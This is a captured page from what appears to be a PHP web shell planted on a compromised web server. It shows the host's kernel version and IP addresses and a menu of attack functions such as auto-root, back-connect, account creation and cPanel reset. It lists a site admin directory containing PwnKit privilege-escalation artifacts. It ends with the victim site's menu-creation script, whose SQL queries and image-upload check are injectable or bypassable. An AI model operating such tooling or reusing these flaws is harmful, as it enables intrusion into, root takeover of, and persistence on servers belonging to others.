Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.221.217.100
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
cgpunch /
panchadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
froala_assets
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Guidline.php
6.5
KB
-rw-r--r--
INFRASTRUCTURE.php
6.5
KB
-rw-r--r--
aadesh.php
6.5
KB
-rw-r--r--
about.php
6.5
KB
-rw-r--r--
ac.php
6.5
KB
-rw-r--r--
act_and_rules.php
6.52
KB
-rw-r--r--
active-editor.php
458
B
-rw-r--r--
add-new-editor.php
3.56
KB
-rw-r--r--
add-news.php
15.78
KB
-rw-r--r--
affiliation-detail.php
6.5
KB
-rw-r--r--
all-added-news.php
4.8
KB
-rw-r--r--
all-drafts-news.php
2.83
KB
-rw-r--r--
bal-suraksha.php
6.52
KB
-rw-r--r--
check-url.php
467
B
-rw-r--r--
check-url2.php
344
B
-rw-r--r--
cityzen_characters.php
6.53
KB
-rw-r--r--
contacts.php
1.98
KB
-rw-r--r--
create-gallery.php
5.13
KB
-rw-r--r--
create-new-menu.php
12.25
KB
-rw-r--r--
curriculum.php
6.5
KB
-rw-r--r--
dashboard.php
159
B
-rw-r--r--
deactive-editor.php
460
B
-rw-r--r--
del-events.php
367
B
-rw-r--r--
del-gal.php
375
B
-rw-r--r--
del-img-from-gal.php
442
B
-rw-r--r--
del-img-lib-img.php
255
B
-rw-r--r--
del-page-lib.php
249
B
-rw-r--r--
del-pdf-lib-img.php
252
B
-rw-r--r--
del-r-draft.php
441
B
-rw-r--r--
del-r-editor.php
435
B
-rw-r--r--
del-r-news.php
720
B
-rw-r--r--
del-vid.php
372
B
-rw-r--r--
delete-draft.php
1.63
KB
-rw-r--r--
delete-editor.php
1.62
KB
-rw-r--r--
delete-menu.php
1.52
KB
-rw-r--r--
delete-news.php
1.62
KB
-rw-r--r--
delete-r-menu.php
349
B
-rw-r--r--
delete_menu_product.php
1.54
KB
-rw-r--r--
edite-menu.php
14.02
KB
-rw-r--r--
edite-page-lib.php
6.7
KB
-rw-r--r--
editors.php
2.24
KB
-rw-r--r--
error_log
2.98
KB
-rw-r--r--
fearured-news.php
455
B
-rw-r--r--
full-screen-menu-view.php
7.4
KB
-rw-r--r--
gallery.sql
1.71
KB
-rw-r--r--
gallery_images.sql
3.33
KB
-rw-r--r--
get-current-menu-name.php
656
B
-rw-r--r--
get-parent-menu.php
1010
B
-rw-r--r--
get-product-menu.php
1.38
KB
-rw-r--r--
gpdp_Guidline.php
6.52
KB
-rw-r--r--
gram_sabha.php
6.51
KB
-rw-r--r--
hamara_karya.php
6.52
KB
-rw-r--r--
image-library.php
4.18
KB
-rw-r--r--
index.php
5.56
KB
-rw-r--r--
karya_kshetra.php
6.52
KB
-rw-r--r--
log-out.php
129
B
-rw-r--r--
manage-images.php
6.22
KB
-rw-r--r--
media.php
6.99
KB
-rw-r--r--
menu.php
10.16
KB
-rw-r--r--
mission_vision.php
6.52
KB
-rw-r--r--
news-published.php
1.5
KB
-rw-r--r--
nigrani.php
6.5
KB
-rw-r--r--
notifications.php
7.03
KB
-rw-r--r--
nutrition.php
6.51
KB
-rw-r--r--
on-the-way.php
2.19
KB
-rw-r--r--
page-library.php
7.52
KB
-rw-r--r--
pdf-library.php
3.73
KB
-rw-r--r--
pesa_niyam.php
6.51
KB
-rw-r--r--
post-events.php
10.3
KB
-rw-r--r--
powers_by_act.php
6.52
KB
-rw-r--r--
publish-news.php
459
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
samajik-suraksha.php
6.52
KB
-rw-r--r--
samiti.php
6.5
KB
-rw-r--r--
save-draft.php
1.3
KB
-rw-r--r--
save_menu_product.php
1.93
KB
-rw-r--r--
sdc.php
6.49
KB
-rw-r--r--
siksha.php
6.5
KB
-rw-r--r--
suchana_ka_adhikar.php
6.53
KB
-rw-r--r--
swasthya.php
6.51
KB
-rw-r--r--
training_modules.php
6.53
KB
-rw-r--r--
unfearured-news.php
454
B
-rw-r--r--
unpublish-news.php
461
B
-rw-r--r--
update-draft.php
16.06
KB
-rw-r--r--
update-editor.php
4.66
KB
-rw-r--r--
update-news.php
13.14
KB
-rw-r--r--
upload_image_for_editor.php
1.24
KB
-rw-r--r--
video.php
3.11
KB
-rw-r--r--
watar-sanitation.php
6.53
KB
-rw-r--r--
yojana.php
6.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create-new-menu.php
<?php include "includes/res.php"; $page_name = "Create New Menues"; include "includes/header.php"; ?> <!-- row --> <div class="row"> <div class="col-lg-12 col-md-12"> <div class="card"> <div class="card-body"> <div class="main-content-label mg-b-5"> Add a new menu </div> <?php if( $_SERVER["REQUEST_METHOD"] == "POST" ){ $menu_level = $_POST["menu_level"]; $menu_level = addslashes($menu_level); $menu_level = htmlspecialchars($menu_level); $new_menu = $_POST["new_menu"]; $new_menu = addslashes($new_menu); $new_menu = htmlspecialchars($new_menu); $parent_menu = $_POST["parent_menu"]; $parent_menu = addslashes($parent_menu); $parent_menu = htmlspecialchars($parent_menu); $menu_name = $_POST["menu_name"]; $menu_name = addslashes($menu_name); $menu_name = htmlspecialchars($menu_name); $menu_position = $_POST["menu_position"]; $menu_position = addslashes($menu_position); $menu_position = htmlspecialchars($menu_position); $url_slug = $_POST["url_slug"]; $url_slug = addslashes($url_slug); $url_slug = htmlspecialchars($url_slug); $visible = $_POST["visible"]; $visible = addslashes($visible); $menu_heading = $_POST["menu_heading"]; $menu_heading = addslashes($menu_heading); $menu_heading = htmlspecialchars($menu_heading); $menu_short_description = $_POST["menu_short_description"]; $menu_short_description = addslashes($menu_short_description); $menu_short_description = htmlspecialchars($menu_short_description); $menu_meta_title = $_POST["menu_meta_title"]; $menu_meta_title = addslashes($menu_meta_title); $menu_meta_title = htmlspecialchars($menu_meta_title); $menu_meta_description = $_POST["menu_meta_description"]; $menu_meta_description = addslashes($menu_meta_description); $menu_meta_description = htmlspecialchars($menu_meta_description); $featured = $_POST["featured"]; $featured = addslashes($featured); $featured = htmlspecialchars($featured); $allowedExts = array("jpg", "jpeg", "gif", "png"); $tmp55 = explode(".", $_FILES["image1"]["name"]); /////========== $extension = end($tmp55); if ($_FILES["image1"]["type"] == "image/gif" || $_FILES["image1"]["type"] == "image/jpg" || $_FILES["image1"]["type"] == "image/jpeg" || $_FILES["image1"]["type"] == "image/png" && in_array($extension, $allowedExts)) { ///////========== if ($_FILES["image1"]["error"] > 0) { //////============ echo "Error: " . $_FILES["image1"]["error"] . "<br />"; ///////======== exit(0); } else { /// check mime $verifyimg = getimagesize($_FILES['image1']['tmp_name']); ///////========= if( $verifyimg['mime'] != 'image/png' && $verifyimg['mime'] != 'image/jpg' && $verifyimg['mime'] != 'image/jpeg' && $verifyimg['mime'] != 'image/gif' ) { echo "Only images are allowed!"; exit(0); } //// //check using getimage1size $image1_info = getimagesize($_FILES['image1']['tmp_name']); ///////========== if($image1_info == false) { echo "Not a valid image!"; exit(0); } /// ///// $image1 = $_FILES["image1"]["name"]; $image1 = rand(1,888).$image1; $tmp_name = $_FILES["image1"]["tmp_name"]; move_uploaded_file($tmp_name, "../uploads/".$image1); ////storage //// } } else { echo "Invalid image type"; exit(0); } $sqlp = "SELECT *FROM menus WHERE url_slug = '$url_slug' || menu_name = '$menu_name' "; $rowsp = $connection->query($sqlp); $trp = $rowsp->num_rows; if( $trp == 0 ){ $sql = "INSERT INTO menus(menu_level,new_menu,parent_menu,menu_name,menu_position,url_slug,visible,menu_heading,menu_short_description,menu_meta_title,menu_meta_description,featured,image)VALUES($menu_level,'$new_menu','$parent_menu','$menu_name',$menu_position,'$url_slug','$visible','$menu_heading','$menu_short_description','$menu_meta_title','$menu_meta_description','$featured','$image1')"; if( $connection->query($sql) == true ){ ?> <div class="alert alert-success"> Menu : <?php echo $menu_name; ?> saved on position <?php echo $menu_position; ?> at level <?php echo $menu_level; ?> </div> <script type="text/javascript"> swal("Saved!", "Menu : <?php echo $menu_name; ?> saved on position <?php echo $menu_position; ?> at level <?php echo $menu_level; ?>", "success"); </script> <?php } } else{ ?> <script type="text/javascript"> swal("Error!"," Url Slug: <?php echo $url_slug; ?> / Menu Name : <?php echo $menu_name; ?> is already exist at menu level : <?php echo $menu_level ?>"); </script> <?php } } ?> <form action="" method="post" enctype="multipart/form-data"> <div class="row row-sm"> <div class="col-6"> <div class="form-group mg-b-0"> <label class="form-label">Menu Level[1 / 2 / 3]: <span class="tx-danger">*</span></label> <input class="form-control" id="menu_level" name="menu_level" placeholder="Enter Menu Level (ex: 1)" required="" type="number"> </div> </div> <div class="col-6"> <div class="form-group"> <label class="form-label">New Menu: <span class="tx-danger">*</span></label> <select class="form-control" name="new_menu" required=""> <option value="No">No</option> <option value="Yes">Yes</option> </select> </div> </div> </div> <div class="row row-sm"> <div class="col-6"> <div class="form-group" id="parent_menu_list"> <label class="form-label">Select Parent Manu: <span class="tx-danger">*</span></label> <select class="form-control" name="parent_menu" required=""> <option value="No">No</option> </select> </div> </div> <div class="col-6"> <div class="form-group mg-b-0"> <label class="form-label">Menu Name: <span class="tx-danger">*</span></label> <input class="form-control" name="menu_name" placeholder="Enter Menu Name" required="" type="text"> </div> </div> </div> <div class="row row-sm"> <div class="col-6"> <div class="form-group mg-b-0"> <label class="form-label">Menu Position: <span class="tx-danger">*</span></label> <input class="form-control" name="menu_position" placeholder="Enter Menu Level (ex: 1)" required="" type="number"> </div> </div> <div class="col-6"> <div class="form-group mg-b-0"> <label class="form-label">Url Slug: <span class="tx-danger">*</span></label> <input class="form-control" name="url_slug" placeholder="Enter Url Slug (ex: apple-iphones)" required="" type="text"> </div> </div> </div> <div class="m-3"></div> <div class="row row-sm"> <div class="col-6"> <div class="form-group"> <label class="form-label">Visible: <span class="tx-danger">*</span></label> <select class="form-control" name="visible" required=""> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> </div> <div class="col-6"> <div class="form-group"> <label class="form-label"> Featured: <span class="tx-danger">*</span></label> <select class="form-control" name="featured" required=""> <option value="No">No</option> <option value="Yes">Yes</option> </select> </div> </div> </div> <br><br> <div class="main-content-label mg-b-5"> SEO </div> <div class="row row-sm m-2 p-2"> <div class="col-12"> <div class="form-group mg-b-0"> <label class="form-label">Menu Heading <span class="tx-danger">*</span></label> <input class="form-control" name="menu_heading" placeholder="Heading" type="text" required=""> </div> </div> </div> <div class="row row-sm m-2 p-2"> <div class="col-12"> <div class="form-group mg-b-0"> <label class="form-label">Menu Short Description <span class="tx-danger">*</span></label> <textarea class="form-control" required="" name="menu_short_description" placeholder="Short Description"></textarea> </div> </div> </div> <div class="row row-sm m-2 p-2"> <div class="col-12"> <div class="form-group mg-b-0"> <label class="form-label">Meta Title <span class="tx-danger">*</span></label> <input class="form-control" name="menu_meta_title" placeholder="Meta Title" type="text" required=""> </div> </div> </div> <div class="row row-sm m-2 p-2"> <div class="col-12"> <div class="form-group mg-b-0"> <label class="form-label">Menu Meta Description <span class="tx-danger">*</span></label> <textarea class="form-control" name="menu_meta_description" required="" placeholder="Meta Description"></textarea> </div> </div> </div> <b>Category Image</b> <input class="dropify" data-height="100" type="file" name="image1" class="form-control" required="" /> <div class="col-12"><button class="btn btn-main-primary pd-x-20 mg-t-10" type="submit"> <i class="fa fa-plus"></i> Save</button></div> </form> </div> </div> </div> </div> <!-- /row --> <script type="text/javascript"> $("document").ready(function(){ $("#menu_level").blur(function(event) { /* Act on the event */ var menu_level = $("#menu_level").val(); $.post('get-parent-menu.php', { menu_level:menu_level }, function(data) { /*optional stuff to do after success */ $("#parent_menu_list").html(data); }); }); }); </script> <?php include "includes/footer.php"; ?>
Close